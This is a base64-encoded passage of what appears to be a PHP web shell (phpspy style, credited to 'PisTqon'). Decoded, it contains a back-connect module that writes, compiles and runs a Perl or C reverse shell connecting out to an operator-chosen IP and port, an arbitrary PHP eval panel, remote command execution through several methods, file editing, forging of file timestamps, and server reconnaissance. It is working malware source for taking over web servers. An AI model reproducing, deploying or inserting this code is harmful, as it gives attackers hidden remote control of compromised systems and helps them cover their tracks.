gDQogICAgICAgICJzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9JIi4gDQogICAgICAgICJrVnljbTl5T2lBa0lWeHVJaWs3RFFwamIyNXVaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpIi4gDQogICAgICAgICJLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBOTFJWUWlLVHNOQ25ONWMzUmxiU2drYzNsemRHVnRLVHNOQ21Oc2IzTmxLRk5VUkVsIi4gDQogICAgICAgICJPS1RzTkNtTnNiM05sS0ZOVVJFOVZWQ2s3RFFwamJHOXpaU2hUVkVSRlVsSXBPdz09IjsgDQogICAgJGJhY2tfY29ubmVjdF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNsekwzTnZZMnRsZEM1b1BnMEtJMmx1WTJ4MVpHVWdQRzVsZEdsdVpYUXZhVzR1YUQ0TkNtbHVkQyIuIA0KICAgICAgICAiQnRZV2x1S0dsdWRDQmhjbWRqTENCamFHRnlJQ3BoY21kMlcxMHBEUXA3RFFvZ2FXNTBJR1prT3cwS0lITjBjblZqZENCemIyTnJZV1JrY2w5cGJpQnphVzQ3RFFvZ1kyaGhjaUJ5YlhOYk1qRmRQU0p5YiIuIA0KICAgICAgICAiU0F0WmlBaU95QU5DaUJrWVdWdGIyNG9NU3d3S1RzTkNpQnphVzR1YzJsdVgyWmhiV2xzZVNBOUlFRkdYMGxPUlZRN0RRb2djMmx1TG5OcGJsOXdiM0owSUQwZ2FIUnZibk1vWVhSdmFTaGhjbWQyV3pKZCIuIA0KICAgICAgICAiS1NrN0RRb2djMmx1TG5OcGJsOWhaR1J5TG5OZllXUmtjaUE5SUdsdVpYUmZZV1JrY2loaGNtZDJXekZkS1RzZ0RRb2dZbnBsY204b1lYSm5kbHN4WFN4emRISnNaVzRvWVhKbmRsc3hYU2tyTVN0emRISiIuIA0KICAgICAgICAic1pXNG9ZWEpuZGxzeVhTa3BPeUFOQ2lCbVpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnU1ZCUVVrOVVUMTlVUTFBcElEc2dEUW9nYVdZZ0tDaGpiMjV1WldOMEtHWmtMQyIuIA0KICAgICAgICAiQW9jM1J5ZFdOMElITnZZMnRoWkdSeUlDb3BJQ1p6YVc0c0lITnBlbVZ2WmloemRISjFZM1FnYzI5amEyRmtaSElwS1NrOE1Da2dldzBLSUNBZ2NHVnljbTl5S0NKYkxWMGdZMjl1Ym1WamRDZ3BJaWs3RCIuIA0KICAgICAgICAiUW9nSUNCbGVHbDBLREFwT3cwS0lIME5DaUJ6ZEhKallYUW9jbTF6TENCaGNtZDJXekJkS1RzTkNpQnplWE4wWlcwb2NtMXpLVHNnSUEwS0lHUjFjRElvWm1Rc0lEQXBPdzBLSUdSMWNESW9abVFzSURFcCIuIA0KICAgICAgICAiT3cwS0lHUjFjRElvWm1Rc0lESXBPdzBLSUdWNFpXTnNLQ0l2WW1sdUwzTm9JaXdpYzJnZ0xXa2lMQ0JPVlV4TUtUc05DaUJqYkc5elpTaG1aQ2s3SUEwS2ZRPT0iOyANCg0KICAgIGlmICgkc3RhcnQgJiYgJHlvdXJpcCAmJiAkeW91cnBvcnQgJiYgJHVzZSl7IA0KICAgICAgICBpZiAoJHVzZSA9PSAncGVybCcpIHsgDQogICAgICAgICAgICBjZignL3RtcC9hbmdlbF9iYycsJGJhY2tfY29ubmVjdCk7IA0KICAgICAgICAgICAgJHJlcyA9IGV4ZWN1dGUod2hpY2goJ3BlcmwnKS4iIC90bXAvYW5nZWxfYmMgJHlvdXJpcCAkeW91cnBvcnQgJiIpOyANCiAgICAgICAgfSBlbHNlIHsgDQogICAgICAgICAgICBjZignL3RtcC9hbmdlbF9iYy5jJywkYmFja19jb25uZWN0X2MpOyANCiAgICAgICAgICAgICRyZXMgPSBleGVjdXRlKCdnY2MgLW8gL3RtcC9hbmdlbF9iYyAvdG1wL2FuZ2VsX2JjLmMnKTsgDQogICAgICAgICAgICBAdW5saW5rKCcvdG1wL2FuZ2VsX2JjLmMnKTsgDQogICAgICAgICAgICAkcmVzID0gZXhlY3V0ZSgiL3RtcC9hbmdlbF9iYyAkeW91cmlwICR5b3VycG9ydCAmIik7IA0KICAgICAgICB9IA0KICAgICAgICBtKCJOb3cgc2NyaXB0IHRyeSBjb25uZWN0IHRvICR5b3VyaXAgcG9ydCAkeW91cnBvcnQgLi4uIik7IA0KICAgIH0gDQoNCiAgICBmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nQmFjayBDb25uZWN0JykpOyANCiAgICBtYWtlaGlkZSgnYWN0aW9uJywnYmFja2Nvbm5lY3QnKTsgDQogICAgcCgnPHA+Jyk7IA0KICAgIHAoJ1lvdXIgSVA6Jyk7IA0KICAgIG1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pid5b3VyaXAnLCdzaXplJz0+MjAsJ3ZhbHVlJz0+JHlvdXJpcCkpOyANCiAgICBwKCdZb3VyIFBvcnQ6Jyk7IA0KICAgIG1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pid5b3VycG9ydCcsJ3NpemUnPT4xNSwndmFsdWUnPT4keW91cnBvcnQpKTsgDQogICAgcCgnVXNlOicpOyANCiAgICBtYWtlc2VsZWN0KGFycmF5KCduYW1lJz0+J3VzZScsJ29wdGlvbic9PiR1c2VkYiwnc2VsZWN0ZWQnPT4kdXNlKSk7IA0KICAgIG1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidzdGFydCcsJ3ZhbHVlJz0+J1N0YXJ0JywndHlwZSc9PidzdWJtaXQnLCdjbGFzcyc9PididCcpKTsgDQogICAgcCgnPC9wPicpOyANCiAgICBmb3JtZm9vdCgpOyANCn0vL2VuZCBzcWwgYmFja3VwIA0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ2V2YWwnKSB7IA0KICAgICRwaHBjb2RlID0gdHJpbSgkcGhwY29kZSk7IA0KICAgIGlmKCRwaHBjb2RlKXsgDQogICAgICAgIGlmICghcHJlZ19tYXRjaCgnIzxcPyNzaScsICRwaHBjb2RlKSkgeyANCiAgICAgICAgICAgICRwaHBjb2RlID0gIjw/cGhwXG5cbnskcGhwY29kZX1cblxuPz4iOyANCiAgICAgICAgfSANCiAgICAgICAgZXZhbCgiPyIuIj4kcGhwY29kZTw/Iik7IA0KICAgIH0gDQogICAgZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0V2YWwgUEhQIENvZGUnKSk7IA0KICAgIG1ha2VoaWRlKCdhY3Rpb24nLCdldmFsJyk7IA0KICAgIG1ha2V0ZXh0KGFycmF5KCd0aXRsZSc9PidQSFAgQ29kZScsJ25hbWUnPT4ncGhwY29kZScsICd2YWx1ZSc9PiRwaHBjb2RlKSk7IA0KICAgIHAoJzxwPjxhIGhyZWY9Imh0dHA6Ly93d3cuNG5nZWwubmV0L3BocHNweS9wbHVnaW4vIiB0YXJnZXQ9Il9ibGFuayI+R2V0IHBsdWdpbnM8L2E+PC9wPicpOyANCiAgICBmb3JtZm9vdGVyKCk7IA0KfS8vZW5kIGV2YWwgDQoNCmVsc2VpZiAoJGFjdGlvbiA9PSAnZWRpdGZpbGUnKSB7IA0KICAgIGlmKGZpbGVfZXhpc3RzKCRvcGZpbGUpKSB7IA0KICAgICAgICAkZnA9QGZvcGVuKCRvcGZpbGUsJ3InKTsgDQogICAgICAgICRjb250ZW50cz1AZnJlYWQoJGZwLCBmaWxlc2l6ZSgkb3BmaWxlKSk7IA0KICAgICAgICBAZmNsb3NlKCRmcCk7IA0KICAgICAgICAkY29udGVudHM9aHRtbHNwZWNpYWxjaGFycygkY29udGVudHMpOyANCiAgICB9IA0KICAgIGZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidDcmVhdGUgLyBFZGl0IEZpbGUnKSk7IA0KICAgIG1ha2VoaWRlKCdhY3Rpb24nLCdmaWxlJyk7IA0KICAgIG1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsgDQogICAgbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidDdXJyZW50IEZpbGUgKGltcG9ydCBuZXcgZmlsZSBuYW1lIGFuZCBuZXcgZmlsZSknLCduYW1lJz0+J2VkaXRmaWxlbmFtZScsJ3ZhbHVlJz0+JG9wZmlsZSwnbmV3bGluZSc9PjEpKTsNCiAgICBtYWtldGV4dChhcnJheSgndGl0bGUnPT4nRmlsZSBDb250ZW50JywnbmFtZSc9PidmaWxlY29udGVudCcsJ3ZhbHVlJz0+JGNvbnRlbnRzKSk7IA0KICAgIGZvcm1mb290ZXIoKTsgDQp9Ly9lbmQgZWRpdGZpbGUgDQoNCmVsc2VpZiAoJGFjdGlvbiA9PSAnbmV3dGltZScpIHsgDQogICAgJG9wZmlsZW10aW1lID0gQGZpbGVtdGltZSgkb3BmaWxlKTsgDQogICAgLy8kdGltZSA9IHN0cnRvdGltZSgiJHllYXItJG1vbnRoLSRkYXkgJGhvdXI6JG1pbnV0ZTokc2Vjb25kIik7IA0KICAgICRjYWNoZW1vbnRoID0gYXJyYXkoJ0phbnVhcnknPT4xLCdGZWJydWFyeSc9PjIsJ01hcmNoJz0+MywnQXByaWwnPT40LCdNYXknPT41LCdKdW5lJz0+NiwnSnVseSc9PjcsJ0F1Z3VzdCc9PjgsJ1NlcHRlbWJlcic9PjksJ09jdG9iZXInPT4xMCwnTm92ZW1iZXInPT4xMSwnRGVjZW1iZXInPT4xMik7IA0KICAgIGZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidDbG9uZSBmaWxlIHdhcyBsYXN0IG1vZGlmaWVkIHRpbWUnKSk7IA0KICAgIG1ha2VoaWRlKCdhY3Rpb24nLCdmaWxlJyk7IA0KICAgIG1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsgDQogICAgbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidBbHRlciBmaWxlJywnbmFtZSc9PidjdXJmaWxlJywndmFsdWUnPT4kb3BmaWxlLCdzaXplJz0+MTIwLCduZXdsaW5lJz0+MSkpOyANCiAgICBtYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1JlZmVyZW5jZSBmaWxlIChmdWxscGF0aCknLCduYW1lJz0+J3RhcmZpbGUnLCdzaXplJz0+MTIwLCduZXdsaW5lJz0+MSkpOyANCiAgICBmb3JtZm9vdGVyKCk7IA0KICAgIGZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidTZXQgbGFzdCBtb2RpZmllZCcpKTsgDQogICAgbWFrZWhpZGUoJ2FjdGlvbicsJ2ZpbGUnKTsgDQogICAgbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOyANCiAgICBtYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J0N1cnJlbnQgZmlsZSAoZnVsbHBhdGgpJywnbmFtZSc9PidjdXJmaWxlJywndmFsdWUnPT4kb3BmaWxlLCdzaXplJz0+MTIwLCduZXdsaW5lJz0+MSkpOyANCiAgICBwKCc8cD5JbnN0ZWFkICZyYXF1bzsnKTsgDQogICAgcCgneWVhcjonKTsgDQogICAgbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3llYXInLCd2YWx1ZSc9PmRhdGUoJ1knLCRvcGZpbGVtdGltZSksJ3NpemUnPT40KSk7IA0KICAgIHAoJ21vbnRoOicpOyANCiAgICBtYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nbW9udGgnLCd2YWx1ZSc9PmRhdGUoJ20nLCRvcGZpbGVtdGltZSksJ3NpemUnPT4yKSk7IA0KICAgIHAoJ2RheTonKTsgDQogICAgbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RheScsJ3ZhbHVlJz0+ZGF0ZSgnZCcsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsgDQogICAgcCgnaG91cjonKTsgDQogICAgbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2hvdXInLCd2YWx1ZSc9PmRhdGUoJ0gnLCRvcGZpbGVtdGltZSksJ3NpemUnPT4yKSk7IA0KICAgIHAoJ21pbnV0ZTonKTsgDQogICAgbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J21pbnV0ZScsJ3ZhbHVlJz0+ZGF0ZSgnaScsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsgDQogICAgcCgnc2Vjb25kOicpOyANCiAgICBtYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc2Vjb25kJywndmFsdWUnPT5kYXRlKCdzJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOyANCiAgICBwKCc8L3A+Jyk7IA0KICAgIGZvcm1mb290ZXIoKTsgDQp9Ly9lbmQgbmV3dGltZSANCg0KZWxzZWlmICgkYWN0aW9uID09ICdzaGVsbCcpIHsgDQogICAgaWYgKElTX1dJTiAmJiBJU19DT00pIHsgDQogICAgICAgIGlmKCRwcm9ncmFtICYmICRwYXJhbWV0ZXIpIHsgDQogICAgICAgICAgICAkc2hlbGw9IG5ldyBDT00oJ1NoZWxsLkFwcGxpY2F0aW9uJyk7IA0KICAgICAgICAgICAgJGEgPSAkc2hlbGwtPlNoZWxsRXhlY3V0ZSgkcHJvZ3JhbSwkcGFyYW1ldGVyKTsgDQogICAgICAgICAgICBtKCdQcm9ncmFtIHJ1biBoYXMgJy4oISRhID8gJ3N1Y2Nlc3MnIDogJ2ZhaWwnKSk7IA0KICAgICAgICB9IA0KICAgICAgICAhJHByb2dyYW0gJiYgJHByb2dyYW0gPSAnYzpcd2luZG93c1xzeXN0ZW0zMlxjbWQuZXhlJzsgDQogICAgICAgICEkcGFyYW1ldGVyICYmICRwYXJhbWV0ZXIgPSAnL2MgbmV0IHN0YXJ0ID4gJy5TQV9ST09ULidsb2cudHh0JzsgDQogICAgICAgIGZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidFeGVjdXRlIFByb2dyYW0nKSk7IA0KICAgICAgICBtYWtlaGlkZSgnYWN0aW9uJywnc2hlbGwnKTsgDQogICAgICAgIG1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nUHJvZ3JhbScsJ25hbWUnPT4ncHJvZ3JhbScsJ3ZhbHVlJz0+JHByb2dyYW0sJ25ld2xpbmUnPT4xKSk7IA0KICAgICAgICBwKCc8cD4nKTsgDQogICAgICAgIG1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nUGFyYW1ldGVyJywnbmFtZSc9PidwYXJhbWV0ZXInLCd2YWx1ZSc9PiRwYXJhbWV0ZXIpKTsgDQogICAgICAgIG1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidzdWJtaXQnLCdjbGFzcyc9PididCcsJ3R5cGUnPT4nc3VibWl0JywndmFsdWUnPT4nRXhlY3V0ZScpKTsgDQogICAgICAgIHAoJzwvcD4nKTsgDQogICAgICAgIGZvcm1mb290KCk7IA0KICAgIH0gDQogICAgZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0V4ZWN1dGUgQ29tbWFuZCcpKTsgDQogICAgbWFrZWhpZGUoJ2FjdGlvbicsJ3NoZWxsJyk7IA0KICAgIGlmIChJU19XSU4gJiYgSVNfQ09NKSB7IA0KICAgICAgICAkZXhlY2Z1bmNkYiA9IGFycmF5KCdwaHBmdW5jJz0+J3BocGZ1bmMnLCd3c2NyaXB0Jz0+J3dzY3JpcHQnLCdwcm9jX29wZW4nPT4ncHJvY19vcGVuJyk7IA0KICAgICAgICBtYWtlc2VsZWN0KGFycmF5KCd0aXRsZSc9PidVc2U6JywnbmFtZSc9PidleGVjZnVuYycsJ29wdGlvbic9PiRleGVjZnVuY2RiLCdzZWxlY3RlZCc9PiRleGVjZnVuYywnbmV3bGluZSc9PjEpKTsgDQogICAgfSANCiAgICBwKCc8cD4nKTsgDQogICAgbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidDb21tYW5kJywnbmFtZSc9Pidjb21tYW5kJywndmFsdWUnPT4kY29tbWFuZCkpOyANCiAgICBtYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnLCd0eXBlJz0+J3N1Ym1pdCcsJ3ZhbHVlJz0+J0V4ZWN1dGUnKSk7IA0KICAgIHAoJzwvcD4nKTsgDQogICAgZm9ybWZvb3QoKTsgDQoNCiAgICBpZiAoJGNvbW1hbmQpIHsgDQogICAgICAgIHAoJzxociB3aWR0aD0iMTAwJSIgbm9zaGFkZSAvPjxwcmU+Jyk7IA0KICAgICAgICBpZiAoJGV4ZWNmdW5jPT0nd3NjcmlwdCcgJiYgSVNfV0lOICYmIElTX0NPTSkgeyANCiAgICAgICAgICAgICR3c2ggPSBuZXcgQ09NKCdXU2NyaXB0LnNoZWxsJyk7IA0KICAgICAgICAgICAgJGV4ZWMgPSAkd3NoLT5leGVjKCdjbWQuZXhlIC9jICcuJGNvbW1hbmQpOyANCiAgICAgICAgICAgICRzdGRvdXQgPSAkZXhlYy0+U3RkT3V0KCk7IA0KICAgICAgICAgICAgJHN0cm91dHB1dCA9ICRzdGRvdXQtPlJlYWRBbGwoKTsgDQogICAgICAgICAgICBlY2hvICRzdHJvdXRwdXQ7IA0KICAgICAgICB9IGVsc2VpZiAoJGV4ZWNmdW5jPT0ncHJvY19vcGVuJyAmJiBJU19XSU4gJiYgSVNfQ09NKSB7IA0KICAgICAgICAgICAgJGRlc2NyaXB0b3JzcGVjID0gYXJyYXkoIA0KICAgICAgICAgICAgICAgMCA9PiBhcnJheSgncGlwZScsICdyJyksIA0KICAgICAgICAgICAgICAgMSA9PiBhcnJheSgncGlwZScsICd3JyksIA0KICAgICAgICAgICAgICAgMiA9PiBhcnJheSgncGlwZScsICd3JykgDQogICAgICAgICAgICApOyANCiAgICAgICAgICAgICRwcm9jZXNzID0gcHJvY19vcGVuKCRfU0VSVkVSWydDT01TUEVDJ10sICRkZXNjcmlwdG9yc3BlYywgJHBpcGVzKTsgDQogICAgICAgICAgICBpZiAoaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSB7IA0KICAgICAgICAgICAgICAgIGZ3cml0ZSgkcGlwZXNbMF0sICRjb21tYW5kLiJcclxuIik7IA0KICAgICAgICAgICAgICAgIGZ3cml0ZSgkcGlwZXNbMF0sICJleGl0XHJcbiIpOyANCiAgICAgICAgICAgICAgICBmY2xvc2UoJHBpcGVzWzBdKTsgDQogICAgICAgICAgICAgICAgd2hpbGUgKCFmZW9mKCRwaXBlc1sxXSkpIHsgDQogICAgICAgICAgICAgICAgICAgIGVjaG8gZmdldHMoJHBpcGVzWzFdLCAxMDI0KTsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICBmY2xvc2UoJHBpcGVzWzFdKTsgDQogICAgICAgICAgICAgICAgd2hpbGUgKCFmZW9mKCRwaXBlc1syXSkpIHsgDQogICAgICAgICAgICAgICAgICAgIGVjaG8gZmdldHMoJHBpcGVzWzJdLCAxMDI0KTsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICBmY2xvc2UoJHBpcGVzWzJdKTsgDQogICAgICAgICAgICAgICAgcHJvY19jbG9zZSgkcHJvY2Vzcyk7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSBlbHNlIHsgDQogICAgICAgICAgICBlY2hvKGV4ZWN1dGUoJGNvbW1hbmQpKTsgDQogICAgICAgIH0gDQogICAgICAgIHAoJzwvcHJlPicpOyANCiAgICB9IA0KfS8vZW5kIHNoZWxsIA0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ3BocGVudicpIHsgDQogICAgJHVwc2l6ZT1nZXRjZmcoJ2ZpbGVfdXBsb2FkcycpID8gZ2V0Y2ZnKCd1cGxvYWRfbWF4X2ZpbGVzaXplJykgOiAnTm90IGFsbG93ZWQnOyANCiAgICAkYWRtaW5tYWlsPWlzc2V0KCRfU0VSVkVSWydTRVJWRVJfQURNSU4nXSkgPyAkX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10gOiBnZXRjZmcoJ3NlbmRtYWlsX2Zyb20nKTsgDQogICAgISRkaXNfZnVuYyAmJiAkZGlzX2Z1bmMgPSAnTm8nOyAgICAgDQogICAgJGluZm8gPSBhcnJheSggDQogICAgICAgIDEgPT4gYXJyYXkoJ1NlcnZlciBUaW1lJyxkYXRlKCdZL20vZCBoOmk6cycsJHRpbWVzdGFtcCkpLCANCiAgICAgICAgMiA9PiBhcnJheSgnU2VydmVyIERvbWFpbicsJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLCANCiAgICAgICAgMyA9PiBhcnJheSgnU2VydmVyIElQJyxnZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKSksIA0KICAgICAgICA0ID0+IGFycmF5KCdTZXJ2ZXIgT1MnLFBIUF9PUyksIA0KICAgICAgICA1ID0+IGFycmF5KCdTZXJ2ZXIgT1MgQ2hhcnNldCcsJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pLCANCiAgICAgICAgNiA9PiBhcnJheSgnU2VydmVyIFNvZnR3YXJlJywkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10pLCANCiAgICAgICAgNyA9PiBhcnJheSgnU2VydmVyIFdlYiBQb3J0JywkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSksIA0KICAgICAgICA4ID0+IGFycmF5KCdQSFAgcnVuIG1vZGUnLHN0cnRvdXBwZXIocGhwX3NhcGlfbmFtZSgpKSksIA0KICAgICAgICA5ID0+IGFycmF5KCdUaGUgZmlsZSBwYXRoJyxfX0ZJTEVfXyksIA0KDQogICAgICAgIDEwID0+IGFycmF5KCdQSFAgVmVyc2lvbicsUEhQX1ZFUlNJT04pLCANCiAgICAgICAgMTEgPT4gYXJyYXkoJ1BIUElORk8nLChJU19QSFBJTkZPID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oXCdwaHBpbmZvXCcpOyI+WWVzPC9hPicgOiAnTm8nKSksIA0KICAgICAgICAxMiA9PiBhcnJheSgnU2FmZSBNb2RlJyxnZXRjZmcoJ3NhZmVfbW9kZScpKSwgDQogICAgICAgIDEzID0+IGFycmF5KCdBZG1pbmlzdHJhdG9yJywkYWRtaW5tYWlsKSwgDQogICAgICAgIDE0ID0+IGFycmF5KCdhbGxvd191cmxfZm9wZW4nLGdldGNmZygnYWxsb3dfdXJsX2ZvcGVuJykpLCANCiAgICAgICAgMTUgPT4gYXJyYXkoJ2VuYWJsZV9kbCcsZ2V0Y2ZnKCdlbmFibGVfZGwnKSksIA0KICAgICAgICAxNiA9PiBhcnJheSgnZGlzcGxheV9lcnJvcnMnLGdldGNmZygnZGlzcGxheV9lcnJvcnMnKSksIA0KICAgICAgICAxNyA9PiBhcnJheSgncmVnaXN0ZXJfZ2xvYmFscycsZ2V0Y2ZnKCdyZWdpc3Rlcl9nbG9iYWxzJykpLCANCiAgICAgICAgMTggPT4gYXJyYXkoJ21hZ2ljX3F1b3Rlc19ncGMnLGdldGNmZygnbWFnaWNfcXVvdGVzX2dwYycpKSwgDQogICAgICAgIDE5ID0+IGFycmF5KCdtZW1vcnlfbGltaXQnLGdldGNmZygnbWVtb3J5X2xpbWl0JykpLCANCiAgICAgICAgMjAgPT4gYXJyYXkoJ3Bvc3RfbWF4X3NpemUnLGdldGNmZygncG9zdF9tYXhfc2l6ZScpKSwgDQogICAgICAgIDIxID0+IGFycmF5KCd1cGxvYWRfbWF4X2ZpbGVzaXplJywkdXBzaXplKSwgDQogICAgICAgIDIyID0+IGFycmF5KCdtYXhfZXhlY3V0aW9uX3RpbWUnLGdldGNmZygnbWF4X2V4ZWN1dGlvbl90aW1lJykuJyBzZWNvbmQocyknKSwgDQogICAgICAgIDIzID0+IGFycmF5KCdkaXNhYmxlX2Z1bmN0aW9ucycsJGRpc19mdW5jKSwgDQogICAgKTsgDQoNCiAgICBpZigkcGhwdmFybmFtZSkgeyANCiAgICAgICAgbSgkcGhwdmFybmFtZSAuJyA6ICcuZ2V0Y2ZnKCRwaHB2YXJuYW1lKSk7IA0KICAgIH0gDQoNCiAgICBmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nU2VydmVyIGVudmlyb25tZW50JykpOyANCiAgICBtYWtlaGlkZSgnYWN0aW9uJywncGhwZW52Jyk7IA0KICAgIG1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nUGxlYXNlIGlucHV0IFBIUCBjb25maWd1cmF0aW9uIHBhcmFtZXRlcihlZzptYWdpY19xdW90ZXNfZ3BjKScsJ25hbWUnPT4ncGhwdmFybmFtZScsJ3ZhbHVlJz0+JHBocHZhcm5hbWUsJ25ld2xpbmUnPT4xKSk7IA0KICAgIGZvcm1mb290ZXIoKTsgDQoNCiAgICAkaHAgPSBhcnJheSgwPT4gJ1NlcnZlcicsIDE9PiAnUEhQJyk7IA0KICAgIGZvcigkYT0wOyRhPDI7JGErKykgeyANCiAgICAgICAgcCgnPGgyPicuJGhwWyRhXS4nICZyYXF1bzs8L2gyPicpOyANCiAgICAgICAgcCgnPHVsIGNsYXNzPSJpbmZvIj4nKTsgDQogICAgICAgIGlmICgkYT09MCkgeyANCiAgICAgICAgICAgIGZvcigkaT0xOyRpPD05OyRpKyspIHsgDQogICAgICAgICAgICAgICAgcCgnPGxpPjx1PicuJGluZm9bJGldWzBdLic6PC91PicuJGluZm9bJGldWzFdLic8L2xpPicpOyANCiAgICAgICAgICAgIH0gDQogICAgICAgIH0gZWxzZWlmICgkYSA9PSAxKSB7IA0KICAgICAgICAgICAgZm9yKCRpPTEwOyRpPD0yMzskaSsrKSB7IA0KICAgICAgICAgICAgICAgIHAoJzxsaT48dT4nLiRpbmZvWyRpXVswXS4nOjwvdT4nLiRpbmZvWyRpXVsxXS4nPC9saT4nKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgICAgICBwKCc8L3VsPicpOyANCiAgICB9IA0KfS8vZW5kIHBocGVudiANCg0KZWxzZSB7IA0KICAgIG0oJ1VuZGVmaW5lZCBBY3Rpb24nKTsgDQp9IA0KDQo/PiANCjwvdGQ+PC90cj48L3RhYmxlPiANCjxkaXYgc3R5bGU9InBhZGRpbmc6MTBweDtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjZmZmO2JvcmRlci10b3A6MXB4IHNvbGlkICNkZGQ7YmFja2dyb3VuZDojZWVlOyI+IA0KICAgIDxzcGFuIHN0eWxlPSJmbG9hdDpyaWdodDsiPjw/cGhwIGRlYnVnaW5mbygpO29iX2VuZF9mbHVzaCgpOz8+PC9zcGFuPiANCiAgICBDb3B5cmlnaHQgKEMpIDIwMTEgPGEgaHJlZj0iIiB0YXJnZXQ9Il9ibGFuayI+UGlzVHFvbjwvYT4gQWxsIFJpZ2h0cyBSZXNlcnZlZC4gDQo8L2Rpdj4gDQo8L2JvZHk+IA0KPC9odG1sPiANCg0KPD9waHAgDQoNCi8qPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09IA0KICAgICAgIA0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ki8gDQoNCmZ1bmN0aW9uIG0oJG1zZykgeyANCiAgICBlY2hvICc8ZGl2IHN0eWxlPSJiYWNrZ3JvdW5kOiNmMWYxZjE7Ym9yZGVyOjFweCBzb2xpZCAjZGRkO3BhZGRpbmc6MTVweDtmb250OjE0cHg7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC13ZWlnaHQ6Ym9sZDsiPic7IA0KICAgIGVjaG8gJG1zZzsgDQogICAgZWNobyAnPC9kaXY+JzsgDQp9IA0KZnVuY3Rpb24gc2Nvb2tpZSgka2V5LCAkdmFsdWUsICRsaWZlID0gMCwgJHByZWZpeCA9IDEpIHsgDQogICAgZ2xvYmFsICRhZG1pbiwgJHRpbWVzdGFtcCwgJF9TRVJWRVI7IA0KICAgICRrZXkgPSAoJHByZWZpeCA/ICRhZG1pblsnY29va2llcHJlJ10gOiAnJykuJGtleTsgDQogICAgJGxpZmUgPSAkbGlmZSA/ICRsaWZlIDogJGFkbWluWydjb29raWVsaWZlJ107IA0KICAgICR1c2Vwb3J0ID0gJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gPT0gNDQzID8gMSA6IDA7IA0KICAgIHNldGNvb2tpZSgka2V5LCAkdmFsdWUsICR0aW1lc3RhbXArJGxpZmUsICRhZG1pblsnY29va2llcGF0aCddLCAkYWRtaW5bJ2Nvb2tpZWRvbWFpbiddLCAkdXNlcG9ydCk7IA0KfSAgICAgDQpmdW5jdGlvbiBtdWx0aSgkbnVtLCAkcGVycGFnZSwgJGN1cnBhZ2UsICR0YWJsZW5hbWUpIHsgDQogICAgJG11bHRpcGFnZSA9ICcnOyANCiAgICBpZigkbnVtID4gJHBlcnBhZ2UpIHsgDQogICAgICAgICRwYWdlID0gMTA7IA0KICAgICAgICAkb2Zmc2V0ID0gNTsgDQogICAgICAgICRwYWdlcyA9IEBjZWlsKCRudW0gLyAkcGVycGFnZSk7IA0KICAgICAgICBpZigkcGFnZSA+ICRwYWdlcykgeyANCiAgICAgI